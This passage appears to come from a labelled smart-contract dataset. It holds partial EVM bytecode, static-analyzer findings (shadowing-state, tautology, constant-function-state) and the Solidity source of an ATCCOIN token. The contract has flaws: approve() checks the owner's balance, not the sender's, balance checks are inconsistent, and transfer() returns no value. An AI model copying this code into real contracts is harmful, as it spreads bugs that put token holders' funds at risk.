c57600080fd5b50610cdb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061197b565b005b348015610ce957600080fd5b50610d0b600480360381019080803560ff169060200190929190505050611b32565b005b348015610d1957600080fd5b50610d7b6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050611bac565b604051808215151515815260200191505060405180910390f35b348015610da157600080fd5b50610daa611f10565b005b348015610db857600080fd5b50610dc1611fd1565b6040518082815260200191505060405180910390f35b348015610de357600080fd5b50610dec611fd7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e3a57600080fd5b50610e43611ffd565b604051808215151515815260200191505060405180910390f35b348015610e6957600080fd5b50610e72612010565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610eb2578082015181840152602081019050610e97565b50505050905090810190601f168015610edf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610ef957600080fd5b50610f18600480360381019080803590602001909291905050506120ae565b005b348015610f2657600080fd5b50610f65600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612134565b604051808215151515815260200191505060405180910390f35b348015610f8b57600080fd5b50610f94612164565b6040518082815260200191505060405180910390f35b348015610fb657600080fd5b50610fbf61216a565b6040518082815260200191505060405180910390f35b348015610fe157600080fd5b5061103c600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612170565b005b34801561104a57600080fd5b506110a5600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506121e6565b005b3480156110b357600080fd5b50611138600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061225c565b604051808215151515815260200191505060405180910390f35b34801561115e57600080fd5b506111676123ee565b6040518082815260200191505060405180910390f35b34801561118957600080fd5b506111c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506123f4565b604051808215151515815260200191505060405180910390f35b3480156111ee57600080fd5b50611243600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612424565b6040518082815260200191505060405180910390f35b34801561126557600080fd5b5061129a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124ab565b005b600081830190508281101515156112af57fe5b80905092915050565b60008282111515156112c657fe5b818303905092915050565b6000808314156112e45760009050611303565b81830290508183828115156112f557fe5b041415156112ff57fe5b8090505b92915050565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561139f5780601f106113745761010080835404028352916020019161139f565b820191906000526020600020905b81548152906001019060200180831161138257829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561140357600080fd5b81600960006101000a81548160ff02191690831515021790555080600a819055505050565b6000600360149054906101000a900460ff1615151561144657600080fd5b6114508383612603565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561148057600080fd5b61148b8484846126f5565b90509392505050565b600960009054906101000a900460ff1681565b600660009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561151657600080fd5b81600960016101000a81548160ff02191690831515021790555080600b819055505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561159757600080fd5b600360149054906101000a900460ff1615156115b257600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561165957600080fd5b60008211151561166857600080fd5b6116b9826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117108260015461129c90919063ffffffff16565b6001819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000811115156117e357600080fd5b6117ed3382612aaf565b50565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561182157600080fd5b61182b8383612c62565b905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561187057600080fd5b600960009054906101000a900460ff1680156118ca575060008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561193557600660009054906101000a900460ff1660ff16600a0a600a54026000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008111151561198a57600080fd5b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611a1557600080fd5b611aa481600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b890919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b2e8282612aaf565b5050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b8e57600080fd5b80600660006101000a81548160ff021916908360ff16021790555050565b600080600080600360149054906101000a900460ff16151515611bce57600080fd5b85519250611be583866112d190919063ffffffff16565b9150600083111515611bf657600080fd5b600085118015611c445750816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b1515611c4f57600080fd5b611ca0826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600090505b82811015611f03576000808783815181101515611d0057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad866000808a86815181101515611d5a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129c90919063ffffffff16565b101515611db957600080fd5b611e21856000808985815181101515611dce57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129c90919063ffffffff16565b6000808884815181101515611e3257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508581815181101515611e8857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a38080600101915050611ce7565b6001935050505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f6c57600080fd5b600360149054906101000a900460ff16151515611f8857600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600d5481565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960019054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120a65780601f1061207b576101008083540402835291602001916120a6565b820191906000526020600020905b81548152906001019060200180831161208957829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561210a57600080fd5b60008111151561211957600080fd5b80600d541415151561212a57600080fd5b80600d8190555050565b6000600360149054906101000a900460ff1615151561215257600080fd5b61215c8383612ef3565b905092915050565b600c5481565b600b5481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121cc57600080fd5b80600590805190602001906121e292919061330e565b5050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561224257600080fd5b806004908051906020019061225892919061330e565b5050565b60008060008411151561226e57600080fd5b84905061227b8585611428565b156123e5578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561237557808201518184015260208101905061235a565b50505050905090810190601f1680156123a25780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156123c457600080fd5b505af11580156123d8573d6000803e3d6000fd5b50505050600191506123e6565b5b509392505050565b600a5481565b6000600360149054906101000a900460ff1615151561241257600080fd5b61241c8383613112565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561250757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561254357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f6936c97cfad7a916c34218e15e30ae56b850a3bdad9587d1dcb0d35dfa7c673560405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561273257600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561277f57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561280a57600080fd5b61285b826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128ee826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129bf82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515612afc57600080fd5b612b4d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b890919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ba4816001546112b890919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115612d73576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e07565b612d8683826112b890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515612f3057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515612f7d57600080fd5b612fce826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613061826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006131a382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129c90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061334f57805160ff191683800117855561337d565b8280016001018555821561337d579182015b8281111561337c578251825591602001919060010190613361565b5b50905061338a919061338e565b5090565b6133b091905b808211156133ac576000816000905550600101613394565b5090565b905600a165627a7a723058200f711ca489547ebc1bdeb9a8e601563021a66a5661f0ad45c1db9b7c365773720029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "constant-function-state", "impact": "Medium", "confidence": "Medium"}]}}
218
0xddaaf4a0702a03a4505f2352a1aba001ffc344be
pragma solidity ^0.4.21; /** * Math operations with safety checks */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; //assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } } contract ATCCOIN is Ownable{ using SafeMath for uint; string public name; string public symbol; uint8 public decimals; uint private _totalSupply; uint public basisPointsRate = 0; uint public minimumFee = 0; uint public maximumFee = 0; /* This creates an array with all balances */ mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; /* This generates a public event on the blockchain that will notify clients */ /* notify about transfer to client*/ event Transfer( address indexed from, address indexed to, uint256 value ); /* notify about approval to client*/ event Approval( address indexed _owner, address indexed _spender, uint256 _value ); /* notify about basisPointsRate to client*/ event Params( uint feeBasisPoints, uint maximumFee, uint minimumFee ); // Called when new token are issued event Issue( uint amount ); // Called when tokens are redeemed event Redeem( uint amount ); /* The contract can be initialized with a number of tokens All the tokens are deposited to the owner address @param _balance Initial supply of the contract @param _name Token Name @param _symbol Token symbol @param _decimals Token decimals */ constructor() public { name = 'ATCCOIN'; // Set the name for display purposes symbol = 'ATCC'; // Set the symbol for display purposes decimals = 18; // Amount of decimals for display purposes _totalSupply = 410000000 * 10**uint(decimals); // Update total supply balances[msg.sender] = _totalSupply; // Give the creator all initial tokens } /* @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /* @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return balances[owner]; } /* @dev transfer token for a specified address @param _to The address to transfer to. @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32){ //Calculate Fees from basis point rate uint fee = (_value.mul(basisPointsRate)).div(1000); if (fee > maximumFee) { fee = maximumFee; } if (fee < minimumFee) { fee = minimumFee; } // Prevent transfer to 0x0 address. require (_to != 0x0); //check receiver is not owner require(_to != address(0)); //Check transfer value is > 0; require (_value > 0); // Check if the sender has enough require (balances[msg.sender] > _value); // Check for overflows require (balances[_to].add(_value) > balances[_to]); //sendAmount to receiver after deducted fee uint sendAmount = _value.sub(fee); // Subtract from the sender balances[msg.sender] = balances[msg.sender].sub(_value); // Add the same to the recipient balances[_to] = balances[_to].add(sendAmount); //Add fee to owner Account if (fee > 0) { balances[owner] = balances[owner].add(fee); emit Transfer(msg.sender, owner, fee); } // Notify anyone listening that this transfer took place emit Transfer(msg.sender, _to, _value); } /* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. @param _spender The address which will spend the funds. @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool success) { //Check approve value is > 0; require (_value > 0); //Check balance of owner is greater than require (balances[owner] > _value); //check _spender is not itself require (_spender != msg.sender); //Allowed token to _spender allowed[msg.sender][_spender] = _value; //Notify anyone listening that this Approval took place emit Approval(msg.sender,_spender, _value); return true; } /* @dev Transfer tokens from one address to another @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(2 * 32) returns (bool success) { //Calculate Fees from basis point rate uint fee = (_value.mul(basisPointsRate)).div(1000); if (fee > maximumFee) { fee = maximumFee; } if (fee < minimumFee) { fee = minimumFee; } // Prevent transfer to 0x0 address. Use burn() instead require (_to != 0x0); //check receiver is not owner require(_to != address(0)); //Check transfer value is > 0; require (_value > 0); // Check if the sender has enough require(_value < balances[_from]); // Check for overflows require (balances[_to].add(_value) > balances[_to]); // Check allowance require (_value <= allowed[_from][msg.sender]); uint sendAmount = _value.sub(fee); balances[_from] = balances[_from].sub(_value);// Subtract from the sender balances[_to] = balances[_to].add(sendAmount); // Add the same to the recipient allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); if (fee > 0) { balances[owner] = balances[owner].add(fee); emit Transfer(_from, owner, fee); } emit Transfer(_from, _to, sendAmount); return true; } /* @dev Function to check the amount of tokens than an owner allowed to a spender. @param _owner address The address which owns the funds. @param _spender address The address which will spend the funds. @return A uint specifying the amount of tokens still available for the spender. */ function allowance(address _from, address _spender) public view returns (uint remaining) { return allowed[_from][_spender]; } /* @dev Function to set the basis point rate . @param newBasisPoints uint which is <= 9. */ function setParams(uint newBasisPoints,uint newMaxFee,uint newMinFee) public onlyOwner { // Ensure transparency by hardcoding limit beyond which fees can never be added require(newBasisPoints <= 9); require(newMaxFee <= 100); require(newMinFee <= 5); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(10**uint(decimals)); minimumFee = newMinFee.mul(10**uint(decimals)); emit Params(basisPointsRate, maximumFee, minimumFee); } /* Issue a new amount of tokens these tokens are deposited into the owner address @param _amount Number of tokens to be issued */ function increaseSupply(uint amount) public onlyOwner { require(amount <= 10000000); amount = amount.mul(10**uint(decimals)); require(_totalSupply.add(amount) > _totalSupply); require(balances[owner].add(amount) > balances[owner]); balances[owner] = balances[owner].add(amount); _totalSupply = _totalSupply.add(amount); emit Issue(amount); } /* Redeem tokens. These tokens are withdrawn from the owner address if the balance must be enough to cover the redeem or the call will fail. @param _amount Number of tokens to be issued */ function decreaseSupply(uint amount) public onlyOwner { require(amount <= 10000000); amount = amount.mul(10**uint(decimals)); require(_totalSupply >= amount); require(balances[owner] >= amount); _totalSupply = _totalSupply.sub(amount); balances[owner] = balances[owner].sub(amount); emit Redeem(amount); } }
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101ac5780631a7626e7146101d357806323b872dd146101e8578063313ce56714610212578063353907141461023d5780635a0ce6761461025257806370a08231146102725780638da5cb5b1461029357806395d89b41146102c457806398e52f9a146102d9578063a9059cbb146102f1578063b921e16314610315578063dd62ed3e1461032d578063dd644f7214610354575b600080fd5b3480156100f657600080fd5b506100ff610369565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610139578181015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018057600080fd5b50610198600160a060020a03600435166024356103f6565b604080519115158252519081900360200190f35b3480156101b857600080fd5b506101c16104b6565b60408051918252519081900360200190f35b3480156101df57600080fd5b506101c16104bc565b3480156101f457600080fd5b50610198600160a060020a03600435811690602435166044356104c2565b34801561021e57600080fd5b50610227610775565b6040805160ff9092168252519081900360200190f35b34801561024957600080fd5b506101c161077e565b34801561025e57600080fd5b50610270600435602435604435610784565b005b34801561027e57600080fd5b506101c1600160a060020a0360043516610853565b34801561029f57600080fd5b506102a861086e565b60408051600160a060020a039092168252519081900360200190f35b3480156102d057600080fd5b506100ff61087d565b3480156102e557600080fd5b506102706004356108d5565b3480156102fd57600080fd5b50610270600160a060020a03600435166024356109e2565b34801561032157600080fd5b50610270600435610be1565b34801561033957600080fd5b506101c1600160a060020a0360043581169060243516610d03565b34801561036057600080fd5b506101c1610d2e565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103ee5780601f106103c3576101008083540402835291602001916103ee565b820191906000526020600020905b8154815290600101906020018083116103d157829003601f168201915b505050505081565b60006040604436101561040557fe5b6000831161041257600080fd5b60008054600160a060020a0316815260086020526040902054831061043657600080fd5b600160a060020a03841633141561044c57600080fd5b336000818152600960209081526040808320600160a060020a03891680855290835292819020879055805187815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3600191505b5092915050565b60045490565b60065481565b60008080604060443610156104d357fe5b6104fa6103e86104ee60055488610d3490919063ffffffff16565b9063ffffffff610d6616565b925060075483111561050c5760075492505b60065483101561051c5760065492505b600160a060020a038616151561053157600080fd5b600160a060020a038616151561054657600080fd5b6000851161055357600080fd5b600160a060020a038716600090815260086020526040902054851061057757600080fd5b600160a060020a0386166000908152600860205260409020546105a0818763ffffffff610d7d16565b116105aa57600080fd5b600160a060020a03871660009081526009602090815260408083203384529091529020548511156105da57600080fd5b6105ea858463ffffffff610d9a16565b600160a060020a038816600090815260086020526040902054909250610616908663ffffffff610d9a16565b600160a060020a03808916600090815260086020526040808220939093559088168152205461064b908363ffffffff610d7d16565b600160a060020a03808816600090815260086020908152604080832094909455918a16815260098252828120338252909152205461068f908663ffffffff610d9a16565b600160a060020a038816600090815260096020908152604080832033845290915281209190915583111561072f5760008054600160a060020a03168152600860205260409020546106e6908463ffffffff610d7d16565b60008054600160a060020a0390811682526008602090815260408084209490945591548351878152935190821693918b1692600080516020610dad833981519152928290030190a35b85600160a060020a031687600160a060020a0316600080516020610dad833981519152846040518082815260200191505060405180910390a35060019695505050505050565b60035460ff1681565b60075481565b600054600160a060020a0316331461079b57600080fd5b60098311156107a957600080fd5b60648211156107b757600080fd5b60058111156107c557600080fd5b60058390556003546107e490839060ff16600a0a63ffffffff610d3416565b60075560035461080190829060ff16600a0a63ffffffff610d3416565b60068190556005546007546040805192835260208301919091528181019290925290517fd16858b87f79d06c5d7f4cdf7f0943a3b343a9eb149c10ec26e7bcaae7f19bc59181900360600190a1505050565b600160a060020a031660009081526008602052604090205490565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156103ee5780601f106103c3576101008083540402835291602001916103ee565b600054600160a060020a031633146108ec57600080fd5b629896808111156108fc57600080fd5b60035461091690829060ff16600a0a63ffffffff610d3416565b9050806004541015151561092957600080fd5b60008054600160a060020a031681526008602052604090205481111561094e57600080fd5b600454610961908263ffffffff610d9a16565b60045560008054600160a060020a031681526008602052604090205461098d908263ffffffff610d9a16565b60008054600160a060020a031681526008602090815260409182902092909255805183815290517f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44929181900390910190a150565b600080604060443610156109f257fe5b610a0d6103e86104ee60055487610d3490919063ffffffff16565b9250600754831115610a1f5760075492505b600654831015610a2f5760065492505b600160a060020a0385161515610a4457600080fd5b600160a060020a0385161515610a5957600080fd5b60008411610a6657600080fd5b336000908152600860205260409020548410610a8157600080fd5b600160a060020a038516600090815260086020526040902054610aaa818663ffffffff610d7d16565b11610ab457600080fd5b610ac4848463ffffffff610d9a16565b33600090815260086020526040902054909250610ae7908563ffffffff610d9a16565b3360009081526008602052604080822092909255600160a060020a03871681522054610b19908363ffffffff610d7d16565b600160a060020a038616600090815260086020526040812091909155831115610bac5760008054600160a060020a0316815260086020526040902054610b65908463ffffffff610d7d16565b60008054600160a060020a0390811682526008602090815260408084209490945591548351878152935191169233926000